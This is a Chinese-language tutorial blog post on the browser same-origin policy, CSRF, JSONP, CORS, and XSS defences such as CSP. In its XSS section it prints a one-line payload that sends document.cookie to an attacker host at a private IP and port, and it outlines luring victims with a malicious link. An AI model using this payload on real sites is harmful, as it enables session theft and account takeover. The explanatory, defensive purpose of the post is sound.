關於瀏覽器跨域訪問(同源策略)


總結:

瀏覽器無同源限制,則有問題:CSRF

瀏覽器有同源限制,有時需要繞過限制,如何實現?反向代理、JSONP、CORS

JSONP的弊端:XSS

除了瀏覽器同源限制,后端確認前端請求是否合法的方式:origin字段、https、wss等

 

1 what

跨域是指從一個域名的網頁去訪問另一個域名的網頁。一個完整URL地址通常由 協議+主機+端口+路徑[+hash或search] 組成,其中hash和search是可選項、協議未列出則默認為http、port未列出則默認為80(http)或443(https)值。因此嚴格來說,兩個網頁地址的協議(http/https)、主機、端口三者任何一個不同就可以認為是跨域訪問,即使兩個地址是不同子域名也是跨域,如app.baidu.com與baidu.com。

 瀏覽器出於安全考慮會限制跨域訪問(即同源策略)。在該限制下,除非兩個網頁是來自於同一‘源頭’, 否則不允許一個網頁的JavaScript訪問另外一個網頁的內容,像Cookie,DOM,LocalStorage均禁止訪問;但對具有src屬性的標簽(如script、img、iframe等)不做跨域限制。

 

2 why

瀏覽器出於安全考慮會限制跨域訪問,若不加限制則 在一個站點上訪問后 本地存儲的cookie等信息在訪問第二個站點時 就可能泄露了。(從這可見,跨域限制只是在通過瀏覽器訪問時才存在,因此通過HTTP客戶端等訪問顯然沒有跨域限制問題)

沒有同源限制時的危害示例

在瀏覽器上先登錄股票網站www.stock.com,得到了cookie,以后再訪問stock時瀏覽器會自動帶上cookie;接着訪問惡意網站www.beautify.com,假定該網站頁面中包含一個惡意js腳本,其行為是去訪問stock並把得到的信息發到beautify網站,由於訪問stock時瀏覽器會自動帶上cookie故惡意腳本可以成功竊取到數據。示意圖如下:

 

上述過程就是跨站請求偽造(Cross-site request forgery,CSRF)的一種例子,所幸在有瀏覽器同源策略的限制下上述情況不會發生。

因此,瀏覽器同源策略的作用是防止跨站請求偽造。

 

3 如何克服同源限制

瀏覽器的同源限制是種傷敵一千自損八百的做法,如對於一個大系統來說有很多域名是正常的,同源限制使得同一系統內的不同域名下的服務無法互相訪問。

要突破瀏覽器跨域訪問的限制,目前本質上有三種方法:

3.1 反向代理

只需要讓不同地址對瀏覽器來說是同源的即可。如可以通過反向代理把需要互相訪問的地址放到反向代理后,這樣對瀏覽器來說就是同源的了。參考:通過Nginx反向代理實現跨域訪問-cnblogs

3.2 繞過同源限制JSONP

瀏覽器對具有src屬性的標簽(如script、img、iframe等)不做跨域限制,利用這些來實現跨域(即 jsonp)。原理:在頁面append一個script標簽,標簽地址為被跨域訪問站點地址,並在地址上加入自定義的回調函數名參數,如?callback=myCallbackFunction,這里的"callback"可以為其他,應事先商定好;被跨域站點的響應邏輯:若未檢查到"callback"參數則直接返回data,否則將data作為回調函數名的參數一起返回,即 myCallbackFunction( data );瀏覽器script加載完后會執行myCallbackFunction函數,因此可以在myCallbackFunction里對請求返回的data進行處理。參考:跨域與跨域訪問-csdn

3.3 協議支持(CORS

W3C標准中的跨域資源共享(Cross-Origin Resource Sharing,CORS)

它允許瀏覽器向跨源服務器發出XMLHttpRequest請求,從而克服了AJAX只能同源使用的限制(在實現上借助了 Access-Control-Allow-Origin 等header來與服務端協商)。在前后端分離的場景下兩者獨立部署,常借助此來實現前端跨域訪問后端。

內部原理(詳見:跨域資源共享-阮一峰):簡單而言,在向目標服務器發起正式的數據請求前,瀏覽器先會向其發送OPTIONS請求詢問(或叫協商)其是否允許接下來的跨域請求。“詢問”的過程是通過幾個請求頭和響應頭來實現的:

1 瀏覽器再OPTIONS預請求里增加如下header:

Origin:跨域請求發起者所在的域名
Access-Control-Request-Method:將要發起的跨域數據請求方式(GET/PUT/POST/DELETE/······)
Access-Control-Request-Headers:將要發起的跨域請求中包含的請求頭字段

2 目標服務器在響應字段中表明是否允許這個跨域數據請求,瀏覽器收到后檢查如果不符合要求就拒絕后面的數據請求

Access-Control-Allow-Origin:允許哪些域來訪問(*表示允許所有域的請求)
Access-Control-Allow-Methods:允許哪些請求方式
Access-Control-Allow-Headers:允許哪些請求頭字段=
Access-Control-Allow-Credentials:是否允許攜帶Cookie
Access-Control-Max-Age:指定本次預檢請求的有效期,單位為秒,在此期間對於同樣的跨域數據請求,瀏覽器不用再發預請求詢問。

 當然,為了避免每次發起數據請求前都要詢問,有兩個優化措施:

a:一個是上面的Access-Control-Max-Age字段避免每次都要發預請求;

b:另一個是對於“簡單請求”瀏覽器不用發預請求,而是直接在數據請求中帶上Origin字段並在響應中檢查Access-Control-Allow-Origin,如果不符合要求就報錯。“簡單請求”是指請求方法為HEAD、GET、POST之一且只包含如下請求頭字段的請求:

Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:(application/x-www-form-urlencoded、multipart/form-data、text/plain)

注:

JSONP、CORS需要目標站點的配合(JSONP需要服務端代碼調用回調函數、CORS需要服務端配置允許的origin的白名單),否則無法實現,第一種則不需要;

AJAX已封裝支持了JSONP功能,但此時其和傳統意義上的AJAX請求是不一樣的,本質上是不同東西:ajax的核心是通過XmlHttpRequest獲取非本頁內容,而jsonp的核心則是動態添加<script>標簽來調用服務器提供的js腳本。更多參考:jsonp原理

 CORS與JSONP的使用目的相同,但是比JSONP更強大。JSONP只支持GET請求,CORS支持所有類型的HTTP請求。JSONP的優勢在於支持老式瀏覽器,以及可以向不支持CORS的網站請求數據。

第一種方法的典型應用:在前后端分離的場景下,前后端都是我們自己的服務,只是部署在不同服務器站點上,所以解決通常通過在前后端服務前加個網關(如nginx)作為外界訪問的入口 來解決同源限制。

第三種方法的典型應用:很多場景下兩個服務並不都是自己的,故法1行不通,此時可以通過法3解決。典型的場景:在OAuth場景下,我們的服務支持了OAuth協議,第三方應用可來對接我們的系統,在授權碼或隱藏式授權機制下,我們的服務器會向我們的授權頁面返回重定向到第三方應用頁面的指令,此時瀏覽器會因同源限制導致重定向失敗,這時就可用CORS:第三方應用服務器進行配置以允許來自我們的授權服務的跨域請求。

 

3.4. 后端約束

瀏覽器的同源策略用來確保在瀏覽器內對后端發起訪問的前端是可信賴的前端。除了依靠瀏覽器源限制外,后端服務還可以根據所收到請求的origin字段來限制白名單(origin字段由瀏覽器自動加入HTTP header,用戶無法通過編程方式如javascript修改;當然,通過中間人攻擊還是可以修改的,此時可用HTTPS或wss防范)。

目前,對於新興的WebSocket協議(2008年誕生,2011年成為國際標准,目前所有瀏覽器都已支持),瀏覽器未做同源限制。因此應用要注意防范CSRF攻擊,可借助token或上述的origin等方式防范。

 

4 進階

4.1 XSS

4.1.1 what

第一節中所述危害是以沒有同源限制為前提的,現實是瀏覽器都做了嚴格的同源限制,故該情況不會發生。然而在有同源限制下,我們仍可利用法2實現一個盜取用戶信息的惡意腳本:

1、腳本干的事為讀取當前所在用戶站點的cookie等信息,並發送到腳本制作者的站點。示例:

 $("body").append("\<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>") 

2、發送涉及到跨域,由於是“自己人”,可以選擇jsonp解決跨域;

3、弄個惡意鏈接誘導用戶點擊(如把惡意鏈接插到郵件里發給別人),從而將惡意腳本加載到用戶站點,由於瀏覽器加載完script后就好執行,故done。

上述過程其實就是跨站腳本攻擊(Cross-Site Scripting,XSS)的一種例子,通過XSS獲取到認證信息后就自熱而然地可以用認證信息進行CSRF了。

關於XSS,詳情可參閱:https://mp.weixin.qq.com/s/sqOvQsz5YVR-RAzNmePD2A

 

4.1.2 CSRF、XSS的區別

前者獲取別人的認證信息之后偽裝別人去請求、后者攻擊者通過JSONP等手段誘導受害者站點加載攻擊者的惡意js代碼從而獲取到受害站點的認證信息,通常通過XSS獲取到認證信息后進行CSRF。

4.1.3 XSS防御

 XSS有兩種,針對不同類型XSS有不同的防治方案。

反射型XSS

what:某些標簽同時出現在請求(通常是URL)中和響應的網頁中,由於瀏覽器會渲染這些標簽,所以這些標簽如果干的事是去加載惡意腳本,則就發生了XSS。這里的標簽包括script、iframe、img等;這里的請求可以是GET、POST等。示例:

防御:XSS Auditor。Chrome內核中加入了名為XSS Auditor的功能(其他瀏覽器也有類似的XSS Filter),只要發現“標簽同時出現在請求中和響應的網頁中”,則會拒絕去渲染或執行該標簽。示例:

 

 

 存儲型XSS

what:惡意代碼存在數據庫里,訪問網頁的時候從數據庫里讀取出來后,直接填充到網頁上,XSS Auditor無法防御這種類型的XSS。示例:

 

 

防御:CSP(Content Security Policy)。W3C組織定義的標准,很多瀏覽器都已經支持。該標准定義了名為  content-security-policy  的字段,服務器可以通過這個字段告訴瀏覽器哪些外部資源可以加載和執行。

字段可放在http response header中、也可放在頁面的meta標簽中;

字段的值指定了各種標簽能從哪些鏈接加載資源,不在指定值內的則瀏覽器拒絕加載,包括:

- script-src:外部腳本
- style-src:樣式表
- img-src:圖像
- media-src:媒體文件(音頻和視頻)
- font-src:字體文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部資源
- connect-src:HTTP 連接(通過 XHR、WebSockets、EventSource等)
- worker-src:worker腳本
- manifest-src:manifest 文件
View Code

此外還定義了report-uri 屬性,在content-security-policy值中通過該屬性指定報告的地址,如果瀏覽器發現頁面內容違背了content-security-policy約束,除了拒絕加載資源外還可以通報給該地址。

示例:

http response header中返回該字段:

 

 

 meta標簽中返回該字段: <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 

 

 

詳情可參閱:https://cloud.tencent.com/developer/section/1189873

 

 

 

 

參考資料:https://mp.weixin.qq.com/s?__biz=MzAxOTc0NzExNg==&mid=2665515571&idx=1&sn=0d0b7dea7f77e8f1844b366f1af9667f&chksm=80d67270b7a1fb66d93bae6cb36eabb52671ca9c4fcfcbd4b99a0f97477ea3d7f7ef87f086f3&mpshare=1&scene=1&srcid=0109bYD1q1hsbFIQCxtnMkrl&pass_ticket=N%2FHYzFttFxeBta6EX3SWLSsk8wIuqheCKE1kM4bs7LtE5NuawTt0V7zXvLe2iFMS#rd

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM